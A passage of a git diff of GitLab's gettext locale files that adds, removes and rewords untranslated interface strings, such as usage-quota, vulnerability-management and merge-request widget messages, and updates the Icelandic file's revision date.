msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,13 +39625,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -40797,12 +41442,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -40936,9 +41608,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,39 +41623,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index dfe2b282cbd..db7d42a5ded 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
